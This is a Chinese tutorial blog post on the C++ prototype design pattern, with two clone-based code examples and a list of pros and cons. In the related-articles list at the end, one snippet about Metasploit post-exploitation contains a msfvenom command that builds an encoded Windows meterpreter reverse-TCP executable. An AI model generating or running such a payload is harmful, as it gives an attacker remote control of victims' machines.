C++设计模式:原型模式(详解+实现案例)

news2024/9/25 20:44:41

文章目录

  • 原型模式
    • 使用场景
    • 实现步骤
    • 案例一
    • 案例二
  • 优缺点

原型模式

原型模式:
用原型实例指定创建对象的种类,并通过拷贝这些原型创建新的对象,简单理解就是“克隆指定对象

使用场景

某些结构复杂的对象的创建工作中由于需求的变化,这些对象经常面临着剧烈的变化,但是他们却拥有比较稳定一致的接口。此时便可以使用原型模式。

实现步骤

  1. 提供一个抽象原型类:规定了具体原型对象必须实现的接口。
  2. 提供多个具体原型类:实现抽象原型类的 clone() 方法,它是可被复制的对象。
  3. 提供访问类:使用具体原型类中的 clone() 方法来复制新的对象。

在这里插入图片描述

案例一

最简单的原型模式,其实就是调用抽象原型类中的clone,使得对象可以直接通过克隆来创建对象。

优点:

  1. 提高性能
  2. 避免使用构造函数
#include <iostream>
#include <string>
using namespace std;

//抽象原型类
class Dog
{
public:
	virtual ~Dog() {}
	virtual Dog* clone() = 0;	//克隆方法
	virtual void play() = 0;	//其他公共接口
};

//具体原型类
class Twoha :public Dog
{
public:
	Twoha(string name)
		:name{ name } {}
	//拷贝构造函数(深拷贝)
	Twoha(const Twoha& lhs)
	{
		//存在指针则必须使用深拷贝
		name = lhs.name;
	}
	//实现抽象方法
	Dog* clone()
	{
		return new Twoha{ *this };
	}
	void play()
	{
		cout << "我是一只" << name << endl;
	}
private:
	string name;
};
int main()
{
	Dog* dog = new Twoha{ "二哈" };
	Dog* Eha1 = dog->clone();
	Dog* Eha2 = dog->clone();
	Eha1->play();
	Eha2->play();

	delete dog;
	delete Eha1;
	delete Eha2;
	return 0;
}

案例二

//1. 抽象原型类
class Shape
{
public:
	virtual ~Shape() {}
	virtual Shape* clone() = 0;
	virtual int getid() = 0;
	virtual string getType() = 0;
protected:
	string Type;
private:
	int id;
};

//2. 三个形状具体原型
class Circle :public Shape
{
public:
	Circle(string Type, int id) :Type(Type), id(id) {}
	~Circle() {}
	//Circle(const Circle& lhs) { Type = lhs.Type, id = lhs.id; }
	Shape* clone() { return new Circle{ *this }; }
	int getid() { return id; }
	string getType() { return Type; }
protected:
	string Type;
private:
	int id;
};
class Rectangle :public Shape
{
public:
	Rectangle(string Type, int id) :Type(Type), id(id) {}
	~Rectangle() {}
	Rectangle(const Rectangle& lhs) { Type = lhs.Type, id = lhs.id; }
	Shape* clone() { return new Rectangle{ *this }; }
	int getid() { return id; }
	string getType() { return Type; }
protected:
	string Type;
private:
	int id;
};
class Square :public Shape
{
public:
	Square(string Type, int id) :Type(Type), id(id) {}
	~Square() {}
	Square(const Square& lhs) { Type = lhs.Type, id = lhs.id; }
	Shape* clone() { return new Square{ *this }; }
	int getid() { return id; }
	string getType() { return Type; }
protected:
	string Type;
private:
	int id;
};

//3. 存储对象种类的数据库
class ShapeType
{
public:
	~ShapeType()
	{
		for (auto& x : ShapeMap)
		{
			delete x.second;
			x.second = nullptr;
		}
	}
	//构造原始对象
	ShapeType()
	{
		Circle* circle = new Circle{ "圆形",1 };
		Square* square = new Square{"正方形",2};
		Rectangle* rectangle = new Rectangle{"矩形",3};
		ShapeMap.emplace(circle->getType(), circle);
		ShapeMap.emplace(square->getType(), square);
		ShapeMap.emplace(rectangle->getType(), rectangle);
	}
	//根据你所需要的种类来获得克隆对象
	Shape* getShape(string Type)
	{
		return ShapeMap[Type]->clone();
	}
private:
	unordered_map<string, Shape*> ShapeMap;
};
int main()
{
	//1. 创建对象种类库
	ShapeType obj;

	//2. 从对象库中获得对象的克隆体(getShape函数返回某个对象的克隆)
	Shape* m_circle = obj.getShape("圆形"); 
	Shape* m_Square = obj.getShape("正方形");
	Shape* m_Rectangle = obj.getShape("矩形");



	cout << m_circle->getid() << " : " << m_circle->getType() << endl;
	cout << m_Square->getid() << " : " << m_Square->getType() << endl;
	cout << m_Rectangle->getid() << " : " << m_Rectangle->getType() << endl;


	delete m_circle;
	delete m_Square;
	delete m_Rectangle;
	return 0;
}

在这里插入图片描述


优缺点

优点

  • 如果创建新的对象比较复杂,可以利用原型模式简化对象的创建过程,同时也能够提高效率。
  • 简化对象的创建,无需理会创建过程。
  • 可以在程序运行时(对象属性发生了变化)获得一份内容相同的实例,他们之间不会相互干扰

缺点

  • 每一个类都必须配备一个克隆方法,对于已有的没有克隆方法的类来说是致命的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/150995.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

QT之OpenGL光照

QT之OpenGL光照1. 冯氏光照模型概述1.1 环境光照1.2 漫反射光照1.2.1 法向量1.3 镜面光照1.4 冯氏光照公式1.5 着色器demo2. 材质2.1 demo3. 光照贴图3.1 demo4. 投光物4.1 平行光4.1.1 平行光Demo4.2 点光源4.2.1 衰减4.2.1 点光源Demo4.3 聚光4.3.1 聚光Demo4.3.2 平滑/软化边…

Ajax工作原理

Ajax工作原理 HTTP协议原理与ajax工作原理 1.什么HTTP协议 协议指的是规定浏览器跟服务器交互的数据格式 2.浏览器请求 必须是&#xff1a;请求报文 3.服务器响应 必须是&#xff1a;响应报文 4.请求报文与响应报文的数据格式如下 1.请求报文 (1)请求行 &#xff1a; 包含请…

TP4054国产替代DP4054 500mA 线性锂电充电芯片

DP4054 是一款完整的采用恒定电流/恒定电压单节锂离子电池充电管理芯片。其SOT小封装和较少的外部元件数目使其成为便携式应用的理想器件&#xff0c;DP4054 可以适合USB 电源和适配器电源工作。由于采用了内部PMOSFET 架构&#xff0c;加上防倒充电路&#xff0c;所以不需要外…

Msf后渗透测试阶段

● 已经获得目标系统控制权后扩大战果 ○ 提权 ○ 信息收集 ○ 渗透内网 ○ 永久后门 ● 基于已有session扩大战果 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST1.1.1.1 LPORT4444 -b "\x00"-e x86/shikata_ga_nai -f exe -o 1.ex…

重发布-路由策略实验2(1.8)

目标&#xff1a; 1、首先对每个路由器进行接口ip的配置 r1&#xff1a; [r1]interface GigabitEthernet 0/0/0 [r1-GigabitEthernet0/0/0]ip add 12.1.1.1 24 [r1-GigabitEthernet0/0/0]int gi 0/0/1 [r1-GigabitEthernet0/0/1]ip add 13.1.1.1 24 [r1-GigabitEthernet0/0/1…

LinkedList与单向链表(二)(双向链表)

1.ListedList的模拟实现package Demo1;/*** Describe:双向链表的简单模拟实现* User:lenovo* Date:2023-01-08* Time:11:20*/ class Node {int val;Node prev;Node next;public Node(int val) {this.val val;}public Node() {} } public class MyLinkedList {Node first;Node …

Linux--权限

一、目录权限 文件的权限描述符&#xff0c;由10个字母组成 如下图所示&#xff0c;可以按照1-3-3-3的结构划分&#xff0c;用rwx表示拥有权限&#xff0c;r代表read&#xff08;可读&#xff09;&#xff0c;w代表write&#xff08;可写&#xff09;&#xff0c;x代表execut…

Python高阶技巧(十二)

python学习之旅(十二) &#x1f44d;查看更多可以关注查看首页或点击下方专栏目录 一.闭包 可以保存函数内变量&#xff0c;不会随着函数调用完而销毁 (1) 基本定义 在函数嵌套的前提下&#xff0c;内部函数使用了外部函数的变量&#xff0c;并且外部函数返回了内部函数&#x…

万字长文,带你从0到1的了解商业智能BI

借助互联网技术的发展&#xff0c;每天我们都会接触到大量的信息&#xff0c;信息的增长速度可以说是海啸级的。在这样一个信息爆炸的时代&#xff0c;掌握怎样利用数据就相当于掌握了一项生存技能&#xff0c;很多可以发掘并充分利用数据的企业会发现自己远远领先于竞争对手。…

Android 反编译初探-基础篇

前言 本文目标&#xff1a; 工具&#xff1a;介绍反编译需要用到的工具原理&#xff1a;反编译基本原理实践&#xff1a;替换一个未混淆&未加固apk的启动页面 工具 1.Android Studio 版本&#xff1a;Android Studio Dolphin | 2021.3.1 Patch 1 2.Jadx Class Decomp…

go 数组(array)和切片(slice)

文章目录数组ArraySlice 切片appendcopy&#xff08;切片复制&#xff09;goto数组Array 和以往的数组有很大的不同 数组时值类型&#xff0c;复制和传参会复制整个数组&#xff0c;而不是指针数组长度必须是常量&#xff0c;且是类型的组成部分。[2]int和[3]int是不同的数据…

Vue中Vue.use()的原理及基本使用

目录 &#x1f525; 前言 1. 举例理解 2. 源码分析 &#x1f525; 小结 相信很多人在用Vue使用别人的组件时,会用到 Vue.use() ,例如&#xff1a;Vue.use(VueRouter)、Vue.use(MintUI)&#xff0c;这篇文章主要给大家介绍了关于Vue中Vue.use()的原理及基本使用的相关资料&a…

Mysql索据-Mysql的innodb引擎为什么要使用b+tree作为索引数据结构?

目录 索引&#xff1f; 什么是索引&#xff1f;索引有什么优点&#xff1f;索引有什么缺点&#xff1f; 索引的分类 按照功能分类&#xff1a; 按照数据结构分类 相关数据结构&#xff08;b-tree、btree&#xff09; b-tree btree b-tree和btree的区别 为什么Innodb要…

65. 锚框的代码实现

目标检测算法通常会在输入图像中采样大量的区域&#xff0c;然后判断这些区域中是否包含我们感兴趣的目标&#xff0c;并调整区域边界从而更准确地预测目标的真实边界框&#xff08;ground-truth bounding box&#xff09;。 不同的模型使用的区域采样方法可能不同。 这里我们…

TiDB学习笔记(八)-数据库故障处理

一、数据丢失快速恢复 数据恢复前置条件-GC&#xff0c;tidb_gc_life_time 查询GC已经清理的时间点tikv_gc_safe_point 数据快速恢复操作方式 DML->tidb_snapshot参数 &#xff08;在tikv_gc_safe_point范围内&#xff09; DDL->flashback table/recover table (flas…

AIGC与搜索深度融合,百度定义“生成式搜索”

设想一下&#xff0c;当你搜索“公司活动通知怎么写”时&#xff0c;搜索引擎直接“写”了一篇送到眼前是什么体验&#xff1f;百度的“生成式搜索”正在让这样的场景成为现实。日前&#xff0c;百度宣布&#xff0c;百度搜索将升级“生成式搜索”能力&#xff0c;基于百度自研…

项目管理工具dhtmlxGantt甘特图入门教程(七):在服务器上使用甘特图

dhtmlxGantt是用于跨浏览器和跨平台应用程序的功能齐全的Gantt图表&#xff0c;可满足项目管理控件应用程序的所有需求&#xff0c;是最完善的甘特图图表库。 这篇文章给大家讲解如何在服务器上使用DHTMLX Gantt 。 DhtmlxGantt正版试用下载&#xff08;qun&#xff1a;764…

Cadence PCB仿真使用Allegro PCB SI元器件类别设置为IO,IC和Discrete的方法图文教程

⏪《上一篇》   🏡《总目录》   ⏩《下一篇》 目录 1,概述2,配置方法3,总结1,概述 本文简单介绍使用Allegro PCB SI软件配置电压地网络电压的方法。 2,配置方法 第1步:打开待仿真的PCB文件,并确认软件为Allegro PCB SI 如果,打开软件不是Allegro PCB SI则可这样…

ElementUI源码系列一-完整引入和按需引入

前言 本篇将介绍&#xff0c;ElementUI 是如何实现完整引入和按需引入的。 完整引入 官网使用 源码步骤 src/index.js 通过对外暴露 install()&#xff0c;让主项目通过 Vue.use(ElementUI) 引入&#xff0c;还需单独引入样式 import element-ui/lib/theme-chalk/index.c…

Selenium用法详解【Options选项】【JAVA爬虫】

简介本文主要讲解如何使用java代码利用selenium控制浏览器的启动选项Options的代码操作教程。Options选项这是一个Chrome的参数对象&#xff0c;在此对象中使用addArgument()方法可以添加启动参数&#xff0c;添加完毕后可以在初始化Webdriver对象时将此Options对象传入&#x…